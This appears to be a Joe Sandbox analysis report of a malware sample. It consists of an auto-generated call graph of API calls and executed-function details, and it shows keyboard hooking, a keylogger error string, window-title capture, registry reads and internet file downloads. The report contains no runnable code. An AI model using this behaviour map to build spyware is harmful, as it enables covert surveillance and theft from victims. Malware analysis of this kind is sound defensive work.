281dba5 45923->45926 45927 281dbe2 45924->45927 45925->45913 46676 2827f6a 100 API calls __EH_prolog 45925->46676 45928 2811e45 22 API calls 45926->45928 45930 281dbed 45927->45930 45931 281dc4c 45927->45931 45929 281dbb6 45928->45929 45932 281dbbd CreateThread 45929->45932 45934 2811e45 22 API calls 45930->45934 45933 2811e45 22 API calls 45931->45933 45932->45921 46680 2827f6a 100 API calls __EH_prolog 45932->46680 45935 281dc55 45933->45935 45936 281dbfc 45934->45936 45937 281dc60 45935->45937 45938 281dc99 45935->45938 45939 2811e45 22 API calls 45936->45939 45940 2811e45 22 API calls 45937->45940 46080 28295f8 GetComputerNameExW GetUserNameW 45938->46080 45941 281dc11 45939->45941 45943 281dc69 45940->45943 46206 281c5a1 31 API calls 45941->46206 45949 2811e45 22 API calls 45943->45949 45945 2811ef3 28 API calls 45946 281dcad 45945->45946 45948 2811ee9 11 API calls 45946->45948 45951 281dcb6 45948->45951 45952 281dc7e 45949->45952 45950 281dc24 45953 2811ef3 28 API calls 45950->45953 45954 281dcc1 SetProcessDEPPolicy 45951->45954 45955 281dcc4 CreateThread 45951->45955 45962 2849867 39 API calls 45952->45962 45956 281dc30 45953->45956 45954->45955 45957 281dce5 45955->45957 45958 281dcd9 CreateThread 45955->45958 46649 281e18d 45955->46649 45959 2811ee9 11 API calls 45956->45959 45960 281dcfa 45957->45960 45961 281dcee CreateThread 45957->45961 45958->45957 46677 2820b5c 133 API calls 45958->46677 45963 281dc39 CreateThread 45959->45963 45960->45805 45960->45831 45961->45960 46678 2821140 38 API calls ___scrt_get_show_window_mode 45961->46678 45964 281dc8b 45962->45964 45963->45931 46679 2811bc9 49 API calls 45963->46679 46207 281b0a3 7 API calls 45964->46207 45966->45668 45967->45677 45968->45682 45973->45695 45974->45697 45975->45699 45976->45702 45978 2842d54 45977->45978 45979 2842d56 IsProcessorFeaturePresent 45977->45979 45978->45705 45981 2842d98 45979->45981 45984 2842d5c SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 45981->45984 45983 2842e7b 45983->45705 45984->45983 45985->45715 45987 282a919 LoadLibraryA GetProcAddress 45986->45987 45988 282a909 GetModuleHandleA GetProcAddress 45986->45988 45989 282a947 GetModuleHandleA GetProcAddress 45987->45989 45990 282a937 GetModuleHandleA GetProcAddress 45987->45990 45988->45987 45991 282a973 24 API calls 45989->45991 45992 282a95f GetModuleHandleA GetProcAddress 45989->45992 45990->45989 45991->45718 45992->45991 46210 2829493 FindResourceA 45993->46210 45997 281ddad _Yarn 45998 2812097 28 API calls 45997->45998 45999 281ddc8 45998->45999 46000 2811fc2 28 API calls 45999->46000 46001 281ddd3 46000->46001 46002 2811fb8 11 API calls 46001->46002 46003 281dddc 46002->46003 46004 2849adb _Yarn 21 API calls 46003->46004 46005 281dded _Yarn 46004->46005 46220 28162ee 46005->46220 46007 281de20 46007->45720 46009 281e56f 46008->46009 46011 281e576 46008->46011 46225 2812143 11 API calls 46009->46225 46011->45728 46013 2811fb2 46012->46013 46014 2811fa9 46012->46014 46013->45762 46226 28125c0 28 API calls 46014->46226 46017 2829f23 GetCurrentProcess 46016->46017 46018 28292bc 46017->46018 46227 2821f91 RegOpenKeyExA 46018->46227 46021 2811fc2 28 API calls 46022 28292ea 46021->46022 46023 2811fb8 11 API calls 46022->46023 46024 28292f2 46023->46024 46025 2821f91 31 API calls 46024->46025 46027 2829348 46024->46027 46026 282931b 46025->46026 46028 2829326 StrToIntA 46026->46028 46027->45790 46029 2829334 46028->46029 46032 282933d 46028->46032 46232 282accf 22 API calls 46029->46232 46031 2811fb8 11 API calls 46031->46027 46032->46031 46034 2822356 46033->46034 46035 28162ee 28 API calls 46034->46035 46036 282236b 46035->46036 46037 28120d6 28 API calls 46036->46037 46038 282237b 46037->46038 46039 282215f 14 API calls 46038->46039 46040 2822385 46039->46040 46041 2811fb8 11 API calls 46040->46041 46042 2822392 46041->46042 46042->45892 46044 2811f66 11 API calls 46043->46044 46045 2818f36 _wcslen 46044->46045 46046 2818f60 46045->46046 46047 2818f49 46045->46047 46048 281c5ed 31 API calls 46046->46048 46049 281c5ed 31 API calls 46047->46049 46050 2818f68 46048->46050 46051 2818f51 46049->46051 46052 2811ef3 28 API calls 46050->46052 46053 2811ef3 28 API calls 46051->46053 46054 2818f76 46052->46054 46079 2818f5b 46053->46079 46055 2811ee9 11 API calls 46054->46055 46056 2818f7e 46055->46056 46261 28181c7 28 API calls 46056->46261 46057 2811ee9 11 API calls 46058 2818fb5 46057->46058 46060 2818ffb 46058->46060 46061 2818fdc 46058->46061 46233 2818098 46060->46233 46063 2818fe1 46061->46063 46064 2819013 46061->46064 46062 2818f90 46262 2812ff4 46062->46262 46067 2818098 28 API calls 46063->46067 46070 2811ee9 11 API calls 46064->46070 46071 2818fef 46067->46071 46074 281901b 46070->46074 46267 28192ba 29 API calls 46071->46267 46073 2811ef3 28 API calls 46076 2818fa5 46073->46076 46074->45910 46078 2811ee9 11 API calls 46076->46078 46077 2818ff9 46077->46064 46078->46079 46079->46057 46081 281415e 28 API calls 46080->46081 46082 2829647 46081->46082 46416 28142dc 46082->46416 46085 2812ff4 28 API calls 46086 282965d 46085->46086 46087 2811ee9 11 API calls 46086->46087 46088 2829666 46087->46088 46089 2811ee9 11 API calls 46088->46089 46090 281dca2 46089->46090 46090->45945 46092 28120bf 11 API calls 46091->46092 46093 2823994 46092->46093 46491 2829894 46093->46491 46096 28120bf 11 API calls 46097 28239aa 46096->46097 46098 2811e45 22 API calls 46097->46098 46099 28239b8 46098->46099 46100 2849867 39 API calls 46099->46100 46101 28239c5 46100->46101 46102 28239d7 46101->46102 46103 28239ca Sleep 46101->46103 46104 2812073 28 API calls 46102->46104 46103->46102 46105 28239e6 46104->46105 46106 2811e45 22 API calls 46105->46106 46107 28239ef 46106->46107 46108 28120d6 28 API calls 46107->46108 46109 28239fa 46108->46109 46110 2829d87 28 API calls 46109->46110 46111 2823a02 46110->46111 46112 2811e45 22 API calls 46111->46112 46113 2823a15 46112->46113 46114 2811e45 22 API calls 46113->46114 46119 2823a94 46113->46119 46115 2823a2e 46114->46115 46116 2811e45 22 API calls 46115->46116 46118 2823a3f 46116->46118 46117 28120d6 28 API calls 46117->46119 46121 2811e45 22 API calls 46118->46121 46119->46117 46120 2829d87 28 API calls 46119->46120 46123 2811e45 22 API calls 46119->46123 46124 281822a 28 API calls 46119->46124 46127 2811fc2 28 API calls 46119->46127 46134 2823be2 WSAGetLastError 46119->46134 46136 28152dd 28 API calls 46119->46136 46137 2814f31 79 API calls 46119->46137 46139 28294da 79 API calls 46119->46139 46141 28152fe 28 API calls 46119->46141 46143 2811e6d 11 API calls 46119->46143 46144 28244a7 46119->46144 46147 2812073 28 API calls 46119->46147 46148 2811fb8 11 API calls 46119->46148 46151 2818098 28 API calls 46119->46151 46152 284f34f 20 API calls 46119->46152 46153 28220e8 3 API calls 46119->46153 46154 2821f91 31 API calls 46119->46154 46155 281415e 28 API calls 46119->46155 46156 2829b16 28 API calls 46119->46156 46157 2811e45 22 API calls 46119->46157 46160 2829ac6 GetTickCount 46119->46160 46161 2829a77 30 API calls 46119->46161 46162 2829c8a 28 API calls 46119->46162 46165 2818209 28 API calls 46119->46165 46167 2812e81 28 API calls 46119->46167 46168 2812ef0 28 API calls 46119->46168 46170 2811ee9 11 API calls 46119->46170 46172 2824423 46119->46172 46174 2824461 CreateThread 46119->46174 46495 282393f 46119->46495 46501 28148a8 46119->46501 46560 28297c1 46119->46560 46563 2823013 46119->46563 46566 281e2bb GetLocaleInfoA 46119->46566 46569 2812f11 28 API calls 46119->46569 46570 281826c 28 API calls 46119->46570 46571 2814a81 56 API calls _Yarn 46119->46571 46572 2814bf0 46119->46572 46593 2814e06 87 API calls 46119->46593 46120->46119 46122 2823a50 46121->46122 46125 2811e45 22 API calls 46122->46125 46123->46119 46124->46119 46126 2823a61 46125->46126 46128 2811e45 22 API calls 46126->46128 46127->46119 46129 2823a72 46128->46129 46130 2811e45 22 API calls 46129->46130 46131 2823a84 46130->46131 46590 281471d 87 API calls 46131->46590 46591 282a86b 30 API calls 46134->46591 46136->46119 46137->46119 46139->46119 46141->46119 46142 2811e45 22 API calls 46142->46144 46143->46119 46144->46142 46145 2849867 39 API calls 46144->46145 46146 28244bf Sleep 46145->46146 46146->46119 46147->46119 46148->46119 46151->46119 46152->46119 46153->46119 46154->46119 46155->46119 46156->46119 46158 2823e7b GetTickCount 46157->46158 46159 2829b16 28 API calls 46158->46159 46159->46119 46160->46119 46161->46119 46162->46119 46165->46119 46167->46119 46168->46119 46170->46119 46592 2819f9a 84 API calls 46172->46592 46174->46119 46175->45736 46176->45744 46177->45748 46180 28120bf 11 API calls 46179->46180 46181 2818236 46180->46181 46182 2813280 28 API calls 46181->46182 46183 2818253 46182->46183 46183->45770 46185 281d5c5 46184->46185 46186 2821f5e RegQueryValueExA RegCloseKey 46184->46186 46185->45767 46185->45791 46186->46185 46187->45774 46188->45793 46189->45820 46190->45793 46191->45802 46192->45893 46193->45906 46194->45911 46196 282210e RegQueryValueExA RegCloseKey 46195->46196 46197 2822132 46195->46197 46196->46197 46197->45821 46198->45858 46201 28422a4 46199->46201 46200 2849adb _Yarn 21 API calls 46200->46201 46201->46200 46202 281db53 46201->46202 46646 2850480 7 API calls 2 library calls 46201->46646 46647 28429bd RaiseException Concurrency::cancel_current_task __CxxThrowException@8 46201->46647 46648 284301b RaiseException Concurrency::cancel_current_task __CxxThrowException@8 46201->46648 46202->45919 46206->45950 46207->45938 46208->45797 46211 28294b0 LoadResource LockResource SizeofResource 46210->46211 46212 281dd9e 46210->46212 46211->46212 46213 2849adb 46212->46213 46218 2853649 ___crtLCMapStringA 46213->46218 46214 2853687 46224 284ad91 20 API calls _free 46214->46224 46215 2853672 RtlAllocateHeap 46217 2853685 46215->46217 46215->46218 46217->45997 46218->46214 46218->46215 46223 2850480 7 API calls 2 library calls 46218->46223 46221 2812097 28 API calls 46220->46221 46222 2816302 46221->46222 46222->46007 46223->46218 46224->46217 46225->46011 46226->46013 46228 2821fbf RegQueryValueExA RegCloseKey 46227->46228 46229 2821fe9 46227->46229 46228->46229 46230 2812073 28 API calls 46229->46230 46231 2821ffe 46230->46231 46231->46021 46232->46032 46234 28180ae 46233->46234 46235 2812232 11 API calls 46234->46235 46236 28180c8 46235->46236 46237 2814247 28 API calls 46236->46237 46238 28180d6 46237->46238 46239 2819203 46238->46239 46268 281a83c 46239->46268 46242 2819257 46244 2812073 28 API calls 46242->46244 46243 281922f 46245 2812073 28 API calls 46243->46245 46246 2819262 46244->46246 46247 2819239 46245->46247 46249 2812073 28 API calls 46246->46249 46272 2829bca 28 API calls 46247->46272 46251 2819271 46249->46251 46250 2819247 46273 281a0b0 31 API calls _Yarn 46250->46273 46253 28294da 79 API calls 46251->46253 46255 2819276 CreateThread 46253->46255 46254 281924e 46256 2811fb8 11 API calls 46254->46256 46257 2819291 CreateThread 46255->46257 46258 281929d CreateThread 46255->46258 46275 2819305 46255->46275 46256->46242 46257->46258 46281 28192ef 46257->46281 46259 2811ee9 11 API calls 46258->46259 46278 2819311 46258->46278 46260 28192b1 46259->46260 46260->46064 46261->46062 46391 2813202 46262->46391 46264 2813002 46395 2813242 46264->46395 46267->46077 46415 28192fb 157 API calls 46267->46415 46269 281a845 46268->46269 46270 2819221 46268->46270 46274 281a8bc 28 API calls 46269->46274 46270->46242 46270->46243 46272->46250 46273->46254 46274->46270 46284 281971e 46275->46284 46331 2819c1f 46278->46331 46376 2819340 46281->46376 46285 2819733 Sleep 46284->46285 46305 281966d 46285->46305 46287 281930e 46288 2819773 CreateDirectoryW 46293 2819745 46288->46293 46289 2819784 GetFileAttributesW 46289->46293 46290 281979b SetFileAttributesW 46290->46293 46292 2819815 PathFileExistsW 46303 28197e6 46292->46303 46293->46285 46293->46287 46293->46288 46293->46289 46293->46290 46294 2811e45 22 API calls 46293->46294 46293->46303 46318 282a17b 46293->46318 46294->46293 46295 28120bf 11 API calls 46295->46303 46297 2812097 28 API calls 46297->46303 46298 281991e SetFileAttributesW 46298->46293 46299 2811fb8 11 API calls 46299->46303 46300 28162ee 28 API calls 46300->46303 46301 2811fc2 28 API calls 46301->46303 46303->46292 46303->46295 46303->46297 46303->46298 46303->46299 46303->46300 46303->46301 46304 2811fb8 11 API calls 46303->46304 46328 282a20f 32 API calls 46303->46328 46329 282a27c CreateFileW SetFilePointer CloseHandle WriteFile CloseHandle 46303->46329 46304->46293 46306 281971a 46305->46306 46307 2819683 46305->46307 46306->46293 46308 28196a2 CreateFileW 46307->46308 46310 28196e5 CloseHandle 46307->46310 46311 28196f7 46307->46311 46312 28196d3 46307->46312 46313 28196da Sleep 46307->46313 46308->46307 46309 28196b0 GetFileSize 46308->46309 46309->46307 46309->46310 46310->46307 46311->46306 46315 2818098 28 API calls 46311->46315 46330 281a025 83 API calls 46312->46330 46313->46310 46316 2819713 46315->46316 46317 2819203 123 API calls 46316->46317 46317->46306 46319 282a18e CreateFileW 46318->46319 46321 282a1c7 46319->46321 46322 282a1cb 46319->46322 46321->46293 46323 282a1d2 SetFilePointer 46322->46323 46324 282a1eb WriteFile 46322->46324 46323->46324 46325 282a1e2 CloseHandle 46323->46325 46326 282a200 CloseHandle 46324->46326 46327 282a1fe 46324->46327 46325->46321 46326->46321 46327->46326 46328->46303 46329->46303 46330->46313 46360 2819c2d 46331->46360 46332 281931a 46333 2819c87 Sleep GetForegroundWindow GetWindowTextLengthW 46361 281a854 46333->46361 46337 2811f66 11 API calls 46337->46360 46339 2829ac6 GetTickCount 46339->46360 46340 2819ccd GetWindowTextW 46340->46360 46342 2811ee9 11 API calls 46342->46360 46343 281a83c 28 API calls 46343->46360 46344 2819e25 46345 2811ee9 11 API calls 46344->46345 46345->46332 46346 2819d92 Sleep 46346->46360 46347 284f34f 20 API calls 46347->46360 46349 2812073 28 API calls 46349->46360 46350 2819d1a 46352 2818098 28 API calls 46350->46352 46350->46360 46371 281a0b0 31 API calls _Yarn 46350->46371 46351 28152dd 28 API calls 46351->46360 46352->46350 46354 2818209 28 API calls 46354->46360 46356 2812ff4 28 API calls 46356->46360 46357 281962e 12 API calls 46357->46360 46359 2811fb8 11 API calls 46359->46360 46360->46332 46360->46333 46360->46337 46360->46339 46360->46340 46360->46342 46360->46343 46360->46344 46360->46346 46360->46347 46360->46349 46360->46350 46360->46351 46360->46354 46360->46356 46360->46357 46360->46359 46367 284219b EnterCriticalSection LeaveCriticalSection WaitForSingleObjectEx __Init_thread_wait 46360->46367 46368 2842525 23 API calls __onexit 46360->46368 46369 284215c SetEvent ResetEvent EnterCriticalSection LeaveCriticalSection __Init_thread_wait 46360->46369 46370 2818080 28 API calls 46360->46370 46372 281a8cc 28 API calls 46360->46372 46373 281a694 40 API calls 2 library calls 46360->46373 46374 2829bca 28 API calls 46360->46374 46362 281a85c 46361->46362 46363 2812232 11 API calls 46362->46363 46364 281a867 46363->46364 46375 281a87c 28 API calls 46364->46375 46366 281a876 46366->46360 46368->46360 46369->46360 46370->46360 46371->46350 46372->46360 46373->46360 46374->46360 46375->46366 46377 2819359 GetModuleHandleA SetWindowsHookExA 46376->46377 46378 28193bb GetMessageA 46376->46378 46377->46378 46380 2819375 GetLastError 46377->46380 46379 28193cd TranslateMessage DispatchMessageA 46378->46379 46390 28192f8 46378->46390 46379->46378 46379->46390 46381 2829b16 28 API calls 46380->46381 46382 2819386 46381->46382 46383 28152dd 28 API calls 46382->46383 46384 2819396 46383->46384 46385 2812073 28 API calls 46384->46385 46386 28193a5 46385->46386 46387 28294da 79 API calls 46386->46387 46388 28193aa 46387->46388 46389 2811fb8 11 API calls 46388->46389 46389->46390 46392 281320e 46391->46392 46401 28135f8 46392->46401 46394 281321b 46394->46264 46396 281324e 46395->46396 46397 2812232 11 API calls 46396->46397 46398 2813268 46397->46398 46399 2812316 11 API calls 46398->46399 46400 2813011 46399->46400 46400->46073 46402 2813606 46401->46402 46403 281360c 46402->46403 46404 2813624 46402->46404 46412 2813686 28 API calls 46403->46412 46406 281363c 46404->46406 46407 281367e 46404->46407 46411 2813622 46406->46411 46413 28127c6 28 API calls 46406->46413 46414 2812884 22 API calls 46407->46414 46411->46394 46412->46411 46413->46411 46421 2814333 46416->46421 46418 28142ea 46419 2813242 11 API calls 46418->46419 46420 28142f9 46419->46420 46420->46085 46422 281433f 46421->46422 46425 2814351 46422->46425 46424 281434d 46424->46418 46426 281435f 46425->46426 46427 2814365 46426->46427 46428 281437e 46426->46428 46488 28134c6 28 API calls 46427->46488 46429 2812868 22 API calls 46428->46429 46430 2814386 46429->46430 46432 28143f9 46430->46432 46433 281439f 46430->46433 46490 2812884 22 API calls 46432->46490 46445 281437c 46433->46445 46489 28127c6 28 API calls 46433->46489 46445->46424 46488->46445 46489->46445 46494 28298da _Yarn ___scrt_get_show_window_mode 46491->46494 46492 2812073 28 API calls 46493 282399f 46492->46493 46493->46096 46494->46492 46496 2823958 WSASetLastError 46495->46496 46497 282394e 46495->46497 46496->46119 46594 28237dc 29 API calls ___std_exception_copy 46497->46594 46499 2823953 46499->46496 46502 28148c6 46501->46502 46503 28148ce 46502->46503 46508 28149fb 46502->46508 46504 2814903 46503->46504 46505 28152fe 28 API calls 46503->46505 46551 281495e 46503->46551 46595 282ea15 27 API calls 46504->46595 46507 28148ef 46505->46507 46512 2812073 28 API calls 46507->46512 46511 2814912 46508->46511 46513 2814a16 46508->46513 46508->46551 46509 281490b 46510 2814921 46509->46510 46509->46511 46520 2814930 46510->46520 46521 2814967 46510->46521 46516 2812073 28 API calls 46511->46516 46514 28148fe 46512->46514 46600 282a86b 30 API calls 46513->46600 46517 28294da 79 API calls 46514->46517 46522 2814a60 46516->46522 46517->46504 46518 2814a20 46519 28152dd 28 API calls 46518->46519 46523 2814a30 46519->46523 46524 2812073 28 API calls 46520->46524 46597 282f7f5 52 API calls 46521->46597 46525 2812073 28 API calls 46522->46525 46528 2812073 28 API calls 46523->46528 46529 281493f 46524->46529 46530 2814a6f 46525->46530 46527 281496f 46531 28149a4 46527->46531 46532 2814974 46527->46532 46533 2814a3f 46528->46533 46534 2812073 28 API calls 46529->46534 46535 28294da 79 API calls 46530->46535 46599 282ebbb 28 API calls 46531->46599 46536 2812073 28 API calls 46532->46536 46537 28294da 79 API calls 46533->46537 46538 281494e 46534->46538 46535->46551 46540 2814983 46536->46540 46541 2814a44 46537->46541 46542 28294da 79 API calls 46538->46542 46544 2812073 28 API calls 46540->46544 46545 2811fb8 11 API calls 46541->46545 46546 2814953 46542->46546 46543 28149ac 46547 28149d9 CreateEventW 46543->46547 46549 2812073 28 API calls 46543->46549 46548 2814992 46544->46548 46545->46551 46596 282c4c6 DeleteCriticalSection EnterCriticalSection LeaveCriticalSection 46546->46596 46547->46551 46550 28294da 79 API calls 46548->46550 46553 28149c2 46549->46553 46555 2814997 46550->46555 46551->46119 46554 2812073 28 API calls 46553->46554 46556 28149d1 46554->46556 46598 282ee67 50 API calls 46555->46598 46558 28294da 79 API calls 46556->46558 46559 28149d6 46558->46559 46559->46547 46601 2829797 GlobalMemoryStatusEx 46560->46601 46562 28297d6 46562->46119 46602 2822fd6 46563->46602 46567 2812073 28 API calls 46566->46567 46568 281e2e0 46567->46568 46568->46119 46569->46119 46570->46119 46571->46119 46573 28120bf 11 API calls 46572->46573 46574 2814c07 46573->46574 46575 28120bf 11 API calls 46574->46575 46585 2814c10 46575->46585 46576 2849adb _Yarn 21 API calls 46576->46585 46578 2812097 28 API calls 46578->46585 46579 2814c81 46645 2814e06 87 API calls 46579->46645 46580 2811fc2 28 API calls 46580->46585 46582 2814c88 46584 2811fb8 11 API calls 46582->46584 46583 2811fb8 11 API calls 46583->46585 46586 2814c91 46584->46586 46585->46576 46585->46578 46585->46579 46585->46580 46585->46583 46632 2814b76 52 API calls 46585->46632 46633 2814ca3 46585->46633 46587 2811fb8 11 API calls 46586->46587 46588 2814c9a 46587->46588 46588->46119 46590->46119 46591->46119 46592->46119 46593->46119 46594->46499 46595->46509 46596->46551 46597->46527 46598->46546 46599->46543 46600->46518 46601->46562 46605 2822fa9 46602->46605 46606 2822fbe ___scrt_initialize_default_local_stdio_options 46605->46606 46609 284eea0 46606->46609 46612 284c3e3 46609->46612 46613 284c423 46612->46613 46614 284c40b 46612->46614 46613->46614 46616 284c42b 46613->46616 46627 284ad91 20 API calls _free 46614->46627 46628 2848557 35 API calls 3 library calls 46616->46628 46618 284c43b 46629 284cb38 20 API calls 2 library calls 46618->46629 46619 284c410 __wsopen_s 46621 2842d4b _ValidateLocalCookies 5 API calls 46619->46621 46623 2822fcc 46621->46623 46622 284c4b3 46630 284d0e9 50 API calls 3 library calls 46622->46630 46623->46119 46626 284c4be 46631 284cba2 20 API calls _free 46626->46631 46627->46619 46628->46618 46629->46622 46630->46626 46631->46619 46632->46585 46634 28120bf 11 API calls 46633->46634 46643 2814cbe 46634->46643 46635 2814df3 46636 2811fb8 11 API calls 46635->46636 46637 2814dfc 46636->46637 46637->46585 46638 2814182 28 API calls 46638->46643 46639 2811fc2 28 API calls 46639->46643 46640 2811fb8 11 API calls 46640->46643 46641 28120d6 28 API calls 46641->46643 46642 2811fa0 28 API calls 46642->46643 46643->46635 46643->46638 46643->46639 46643->46640 46643->46641 46643->46642 46644 2814db8 CloseHandle 46643->46644 46644->46643 46645->46582 46646->46201 46650 281e1a8 46649->46650 46651 2821f34 3 API calls 46650->46651 46653 281e24e 46650->46653 46655 281e23e Sleep 46650->46655 46671 281e1da 46650->46671 46651->46650 46652 2818098 28 API calls 46652->46671 46654 2818098 28 API calls 46653->46654 46657 281e25b 46654->46657 46655->46650 46684 2829bca 28 API calls 46657->46684 46660 281e267 46685 2822204 14 API calls 46660->46685 46663 2811ee9 11 API calls 46663->46671 46664 281e27a 46665 2811ee9 11 API calls 46664->46665 46667 281e286 46665->46667 46666 2812073 28 API calls 46666->46671 46668 2812073 28 API calls 46667->46668 46669 281e297 46668->46669 46672 282215f 14 API calls 46669->46672 46670 282215f 14 API calls 46670->46671 46671->46652 46671->46655 46671->46663 46671->46666 46671->46670 46681 281bc59 106 API calls ___scrt_get_show_window_mode 46671->46681 46682 2829bca 28 API calls 46671->46682 46683 2822204 14 API calls 46671->46683 46673 281e2aa 46672->46673 46686 28212b5 TerminateProcess WaitForSingleObject 46673->46686 46675 281e2b2 ExitProcess 46687 2821253 57 API calls 46677->46687 46682->46671 46683->46671 46684->46660 46685->46664 46686->46675 46688 283479b 46690 28347b0 46688->46690 46701 2834842 46688->46701 46689 28348d2 46691 28348f9 46689->46691 46689->46701 46704 2833896 46689->46704 46690->46689 46690->46691 46692 28347fd 46690->46692 46693 2834872 46690->46693 46697 28348a7 46690->46697 46700 2834832 46690->46700 46690->46701 46716 2832c92 47 API calls _Yarn 46690->46716 46691->46701 46721 2833f0a 28 API calls 46691->46721 46692->46700 46692->46701 46717 282d921 50 API calls 46692->46717 46693->46697 46693->46701 46719 282d921 50 API calls 46693->46719 46697->46689 46720 28334a5 21 API calls 46697->46720 46700->46693 46700->46701 46718 2832c92 47 API calls _Yarn 46700->46718 46705 28338b5 ___scrt_get_show_window_mode 46704->46705 46707 28338c4 46705->46707 46711 28338e9 46705->46711 46722 282c970 21 API calls 46705->46722 46707->46711 46715 28338c9 46707->46715 46723 282e38d 44 API calls 46707->46723 46710 28338d2 46710->46711 46726 2832aba 21 API calls 2 library calls 46710->46726 46711->46691 46713 283396c 46713->46711 46724 2840c79 21 API calls _Yarn 46713->46724 46715->46710 46715->46711 46725 282b814 47 API calls 46715->46725 46716->46692 46717->46692 46718->46693 46719->46693 46720->46689 46721->46701 46722->46707 46723->46713 46724->46715 46725->46710 46726->46711 44808 2850c2e 44809 2850c37 44808->44809 44810 2850c50 44808->44810 44811 2850c3f 44809->44811 44815 2850c8c 44809->44815 44813 2850c47 44813->44811 44828 2850f33 22 API calls 2 library calls 44813->44828 44816 2850c95 44815->44816 44817 2850c98 44815->44817 44816->44813 44829 285c239 44817->44829 44823 2853c92 _free 20 API calls 44824 2850cdf 44823->44824 44824->44813 44825 2850cb5 44846 2853c92 44825->44846 44827 2850caa 44827->44823 44828->44810 44830 2850c9f 44829->44830 44831 285c242 44829->44831 44833 285c53a GetEnvironmentStringsW 44830->44833 44852 285c138 48 API calls 4 library calls 44831->44852 44834 285c5a4 44833->44834 44835 285c551 44833->44835 44837 2850ca4 44834->44837 44838 285c5ad FreeEnvironmentStringsW 44834->44838 44836 285c557 WideCharToMultiByte 44835->44836 44836->44834 44839 285c573 44836->44839 44837->44827 44845 2850d39 26 API calls 4 library calls 44837->44845 44838->44837 44853 2853649 21 API calls 3 library calls 44839->44853 44841 285c579 44842 285c580 WideCharToMultiByte 44841->44842 44843 285c596 44841->44843 44842->44843 44844 2853c92 _free 20 API calls 44843->44844 44844->44834 44845->44825 44847 2853c9d RtlFreeHeap 44846->44847 44848 2853cc6 _free 44846->44848 44847->44848 44849 2853cb2 44847->44849 44848->44827 44854 284ad91 20 API calls _free 44849->44854 44851 2853cb8 GetLastError 44851->44848 44852->44830 44853->44841 44854->44851 44855 2849be8 44858 2849bf4 _swprintf ___scrt_is_nonwritable_in_current_image 44855->44858 44856 2849c02 44871 284ad91 20 API calls _free 44856->44871 44858->44856 44859 2849c2c 44858->44859 44866 2852d9a EnterCriticalSection 44859->44866 44861 2849c37 44867 2849cd8 44861->44867 44862 2849c07 ___scrt_is_nonwritable_in_current_image __wsopen_s 44866->44861 44868 2849ce6 44867->44868 44870 2849c42 44868->44870 44873 2856c9b 36 API calls 2 library calls 44868->44873 44872 2849c5f LeaveCriticalSection std::_Lockit::~_Lockit 44870->44872 44871->44862 44872->44862 44873->44868 46727 28246ff 46742 282936b 46727->46742 46729 2824708 46730 28120d6 28 API calls 46729->46730 46731 2824717 46730->46731 46753 2814a81 56 API calls _Yarn 46731->46753 46733 2824723 46734 2825654 46733->46734 46735 2811fb8 11 API calls 46733->46735 46736 2811e6d 11 API calls 46734->46736 46735->46734 46737 282565d 46736->46737 46738 2811fb8 11 API calls 46737->46738 46739 2825669 46738->46739 46740 2811fb8 11 API calls 46739->46740 46741 2825675 46740->46741 46743 28120bf 11 API calls 46742->46743 46744 2829379 46743->46744 46745 2849adb _Yarn 21 API calls 46744->46745 46746 2829389 InternetOpenW InternetOpenUrlW 46745->46746 46747 28293b0 InternetReadFile 46746->46747 46751 28293d3 46747->46751 46748 2829400 InternetCloseHandle InternetCloseHandle 46750 2829412 46748->46750 46749 2812097 28 API calls 46749->46751 46750->46729 46751->46747 46751->46748 46751->46749 46752 2811fb8 11 API calls 46751->46752 46752->46751 46753->46733 46754 281163e 46755 2811646 46754->46755 46756 2811649 46754->46756 46757 2811688 46756->46757 46759 2811676 46756->46759 46758 284229f new 22 API calls 46757->46758 46760 281167c 46758->46760 46761 284229f new 22 API calls 46759->46761 46761->46760

                                                                                    Executed Functions

                                                                                    Function 02819340 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 63windowCOMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    APIs
                                                                                    • GetModuleHandleA.KERNEL32(00000000,00000000), ref: 0281935B
                                                                                    • SetWindowsHookExA.USER32(0000000D,0281932C,00000000), ref: 02819369
                                                                                    • GetLastError.KERNEL32 ref: 02819375
                                                                                      • Part of subcall function 028294DA: GetLocalTime.KERNEL32(00000000), ref: 028294F4
                                                                                    • GetMessageA.USER32(?,00000000,00000000,00000000), ref: 028193C3
                                                                                    • TranslateMessage.USER32(?), ref: 028193D2
                                                                                    • DispatchMessageA.USER32(?), ref: 028193DD
                                                                                    Strings
                                                                                    • Keylogger initialization failure: error , xrefs: 02819389
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Message$DispatchErrorHandleHookLastLocalModuleTimeTranslateWindows
                                                                                    • String ID: Keylogger initialization failure: error
                                                                                    • API String ID: 3219506041-952744263
                                                                                    • Opcode ID: 8569321eae59f1ffc1b60727b230573c72594f108e7c75897773bad310f49a6d
                                                                                    • Instruction ID: 6ed0261ed0b2bbcec4a46897eb0bb1fbd40dff0559febd9d61507262e50e5bc2
                                                                                    • Opcode Fuzzy Hash: 8569321eae59f1ffc1b60727b230573c72594f108e7c75897773bad310f49a6d
                                                                                    • Instruction Fuzzy Hash: DB11C13EA44251AB97107B79981DC2BB7ECEB85610B180A2DF896C32C4FB34C514CBA2
                                                                                    Function 0281E18D Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 90sleepCOMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    APIs
                                                                                      • Part of subcall function 02821F34: RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,?), ref: 02821F54
                                                                                      • Part of subcall function 02821F34: RegQueryValueExA.KERNEL32(?,?,00000000,00000000,00000000,?,02882200), ref: 02821F72
                                                                                      • Part of subcall function 02821F34: RegCloseKey.KERNEL32(?), ref: 02821F7D
                                                                                    • Sleep.KERNEL32(00000BB8), ref: 0281E243
                                                                                    • ExitProcess.KERNEL32 ref: 0281E2B4
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
